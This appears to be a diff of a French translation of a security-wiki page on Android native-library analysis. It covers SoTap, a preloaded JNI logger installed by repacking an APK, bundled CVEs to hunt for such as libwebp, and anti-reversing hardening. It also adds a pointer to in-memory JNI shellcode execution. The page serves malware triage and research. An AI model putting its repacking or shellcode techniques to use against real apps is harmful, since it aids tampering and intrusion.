Process-local JNI telemetry via preloaded .so (SoTap) -Quand une instrumentation complète est excessif ou bloquée, vous pouvez toujours obtenir une visibilité au niveau natif en préchargeant un petit logger dans le process cible. SoTap est une bibliothèque native Android légère (.so) qui journalise le comportement d'exécution d'autres bibliothèques JNI (.so) dans le même processus d'app (aucun root requis). +Lorsque l'instrumentation complète est excessive ou bloquée, vous pouvez toujours obtenir une visibilité au niveau natif en préchargeant un petit logger dans le processus cible. SoTap est une bibliothèque native Android légère (.so) qui enregistre le comportement d'exécution d'autres bibliothèques JNI (.so) au sein du même processus d'application (no root required). -Propriétés clés: +Key properties: - S'initialise tôt et observe les interactions JNI/native à l'intérieur du processus qui le charge. -- Persiste les logs en utilisant plusieurs chemins inscriptibles avec un repli gracieux vers Logcat lorsque le stockage est restreint. -- Personnalisable depuis la source : éditez sotap.c pour étendre/ajuster ce qui est loggé et reconstruisez par ABI. +- Conserve les logs en utilisant plusieurs chemins inscriptibles avec un fallback gracieux vers Logcat lorsque le stockage est restreint. +- Personnalisable au niveau source : éditez sotap.c pour étendre/ajuster ce qui est enregistré et reconstruire par ABI. Setup (repack the APK): 1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so: @@ -91,46 +91,57 @@ Log paths (checked in order): /sdcard/Download/sotap-%s.log # If all fail: fallback to Logcat only ``` -Notes et dépannage: -- L'alignement ABI est obligatoire. Un mismatch soulèvera UnsatisfiedLinkError et le logger ne se chargera pas. -- Les contraintes de stockage sont courantes sur les Android modernes ; si les écritures de fichiers échouent, SoTap émettra quand même via Logcat. -- Le comportement/la verbosité sont destinés à être personnalisés ; recompilez depuis la source après avoir édité sotap.c. +Notes et dépannage : +- L'alignement ABI est obligatoire. Une incompatibilité lèvera UnsatisfiedLinkError et le logger ne se chargera pas. +- Les contraintes de stockage sont courantes sur les versions récentes d'Android ; si les écritures de fichiers échouent, SoTap émettra quand même via Logcat. +- Le comportement / la verbosité est prévu pour être personnalisé ; recompilez depuis la source après modification de sotap.c. -Cette approche est utile pour le triage de malware et le debugging JNI lorsque l'observation des flux d'appels natifs depuis le démarrage du process est critique mais que des hooks root/à l'échelle du système ne sont pas disponibles. +Cette approche est utile pour le triage de malware et le debugging JNI où l'observation des flux d'appels natifs depuis le démarrage du processus est critique mais les hooks nécessitant root ou au niveau système ne sont pas disponibles. --- -### Recent vulnerabilities worth hunting for in APKs +### Voir aussi : exécution de code natif en mémoire via JNI -| Year | CVE | Affected library | Notes | +Un pattern d'attaque courant consiste à télécharger un blob de shellcode brut à l'exécution et à l'exécuter directement depuis la mémoire via un pont JNI (pas d'ELF sur disque). Détails et snippet JNI prêt à l'emploi ici : + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +--- + +### Vulnérabilités récentes à rechercher dans les APK + +| Année | CVE | Bibliothèque affectée | Remarques | |------|-----|------------------|-------| |2023|CVE-2023-4863|`libwebp` ≤ 1.3.1|Heap buffer overflow reachable from native code that decodes WebP images. Several Android apps bundle vulnerable versions. When you see a `libwebp.so` inside an APK, check its version and attempt exploitation or patching.| | |2024|Multiple|OpenSSL 3.x series|Several memory-safety and padding-oracle issues. Many Flutter & ReactNative bundles ship their own `libcrypto.so`.| -Lorsque vous repérez des fichiers `.so` *third-party* à l'intérieur d'un APK, vérifiez toujours leur hash par rapport aux avis en amont. La SCA (Software Composition Analysis) est rare sur mobile, donc des builds anciens et vulnérables sont fréquents. +Quand vous repérez des fichiers `.so` *third-party* dans un APK, vérifiez toujours leur hash par rapport aux avis upstream. SCA (Software Composition Analysis) est peu répandue sur mobile, donc des builds vulnérables et obsolètes sont courants. --- ### Anti-Reversing & Hardening trends (Android 13-15) -* **Pointer Authentication (PAC) & Branch Target Identification (BTI):** Android 14 active PAC/BTI dans les libraries système sur les siliciums ARMv8.3+ supportés. Les décompilateurs affichent désormais des pseudo-instructions liées à PAC ; pour l'analyse dynamique Frida injecte des trampolines *after* stripping PAC, mais vos trampolines personnalisés doivent appeler `pacda`/`autibsp` si nécessaire. -* **MTE & Scudo hardened allocator:** le memory-tagging est optionnel mais beaucoup d'apps compatibles Play-Integrity sont compilées avec `-fsanitize=memtag` ; utilisez `setprop arm64.memtag.dump 1` plus `adb shell am start ...` pour capturer les tag faults. -* **LLVM Obfuscator (opaque predicates, control-flow flattening):** les packers commerciaux (par ex. Bangcle, SecNeo) protègent de plus en plus le code *native*, pas seulement Java ; attendez-vous à du bogus control-flow et des blobs de chaînes chiffrées dans `.rodata`. +* **Pointer Authentication (PAC) & Branch Target Identification (BTI) :** Android 14 active PAC/BTI dans les bibliothèques système sur silicium ARMv8.3+ pris en charge. Les décompilateurs affichent maintenant des pseudo-instructions liées au PAC ; pour l'analyse dynamique, Frida injecte des trampolines *après* avoir retiré le PAC, mais vos trampolines personnalisés doivent appeler `pacda`/`autibsp` quand nécessaire. +* **MTE & Scudo hardened allocator :** le memory-tagging est optionnel mais de nombreuses apps compatibles Play-Integrity sont compilées avec `-fsanitize=memtag` ; utilisez `setprop arm64.memtag.dump 1` puis `adb shell am start ...` pour capturer les fautes de tag. +* **LLVM Obfuscator (opaque predicates, control-flow flattening) :** les packers commerciaux (par ex. Bangcle, SecNeo) protègent de plus en plus le code *native*, pas seulement le Java ; attendez-vous à du control-flow trompeur et des blobs de chaînes chiffrées dans `.rodata`. --- -### Resources +### Ressources -- **Learning ARM Assembly:** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) -- **JNI & NDK Documentation:** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) -- **Debugging Native Libraries:** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) +- **Apprendre l'assembleur ARM :** [Azeria Labs – ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) +- **JNI & NDK Documentation :** [Oracle JNI Spec](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) · [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) · [NDK Guides](https://developer.android.com/ndk/guides/) +- **Debugging des bibliothèques natives :** [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### References +### Références - Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/) - NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) +- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) {{#include ../../banners/hacktricks-training.md}}